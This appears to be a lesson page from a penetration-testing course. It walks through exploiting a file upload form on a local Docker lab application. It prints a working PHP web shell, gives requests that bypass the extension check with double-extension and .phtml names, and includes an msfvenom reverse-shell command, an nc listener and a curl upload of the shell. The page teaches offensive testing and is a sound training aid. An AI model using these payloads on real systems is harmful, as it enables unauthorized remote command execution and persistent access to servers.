In this hands-on lab, we will walk through a complete file upload exploitation scenario from start to finish. This simulates a real-world penetration test where you encounter a file upload form and need to determine if it is vulnerable. We will use a custom vulnerable application running in Docker.
Start the vulnerable application:
Navigate to http://localhost:8888 and explore the application. You will find a file upload form at /upload.php with the following features: it accepts image files, shows a preview after upload, and displays the upload path. Let's examine the source code and HTTP behavior.
First, let's inspect the upload form and its JavaScript:
<!-- Page source of upload.php -->
<form id="uploadForm" enctype="multipart/form-data">
<input type="file" id="fileInput" name="file" accept=".jpg,.jpeg,.png,.gif" />
<button type="submit">Upload Image</button>
</form>
<script>
document.getElementById('uploadForm').onsubmit = function(e) {
var file = document.getElementById('fileInput').files[0];
var ext = file.name.split('.').pop().toLowerCase();
if (!['jpg','jpeg','png','gif'].includes(ext)) {
alert('Only image files allowed!');
e.preventDefault();
}
};
</script>The client-side validation checks the file extension against a whitelist. The accept attribute provides additional client-side filtering. But we know from Lesson 4 that client-side validation is meaningless — let's verify the server-side behavior.
Create a test PHP web shell and attempt to upload it directly through Burp Suite:
<?php if(isset($_REQUEST['c'])) { system($_REQUEST['c']); } ?>Save as shell.php. Configure your browser to use Burp Suite as proxy, select shell.php, and intercept the request. Forward it to the server and observe the response.
The server has its own extension check — the .php extension is blocked. Now we need to determine what the server actually checks. Is it just the extension? Does it also check Content-Type? Does it verify magic bytes? Let's test systematically.
Test 1: Try a double extension — shell.php.jpg. Intercept the request and change the filename:
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
Content-Type: image/jpeg
<?php if(isset($_REQUEST['c'])) { system($_REQUEST['c']); } ?>The server checks the last extension, not the first. Test 2: Try an alternative PHP extension — shell.phtml with Content-Type image/jpeg:
Content-Disposition: form-data; name="file"; filename="shell.phtml"
Content-Type: image/jpeg
<?php if(isset($_REQUEST['c'])) { system($_REQUEST['c']); } ?>The .phtml extension was accepted! The server's whitelist only included .jpg, .jpeg, .png, and .gif — it did not account for alternative PHP extensions. Now let's verify code execution.
Navigate to the uploaded file and pass a command:
Code execution confirmed. The web shell is running as the www-data user. Let's gather more information about the server:
For a more robust shell, upload a full-featured PHP web shell that provides file management, database access, and command execution capabilities. In a real penetration test, this is where you would establish a reverse shell for persistent access.
# Generate a reverse shell payload
msfvenom -p php/reverse_php LHOST=10.0.0.1 LPORT=4444 -f raw > reverse_shell.phtml
# Start a listener
nc -nlvp 4444
# Upload the reverse shell via the same bypass technique
curl -X POST http://localhost:8888/upload.php -F "file=@reverse_shell.phtml" -H "Content-Type: multipart/form-data"⚠️ Reverse shells and persistent access techniques should only be used in authorized penetration testing engagements with explicit written permission. In CTF environments, a simple web shell is usually sufficient. Always clean up uploaded shells after testing.
For your penetration test report, document the vulnerability with the following structure:
This lab walkthrough demonstrates the complete methodology: reconnaissance, systematic testing, bypass, exploitation, and documentation. In a real engagement, you would repeat this process for every file upload endpoint in the application, testing each bypass technique methodically.
Verify exercises to earn ★ 200 XP and unlock next lab level.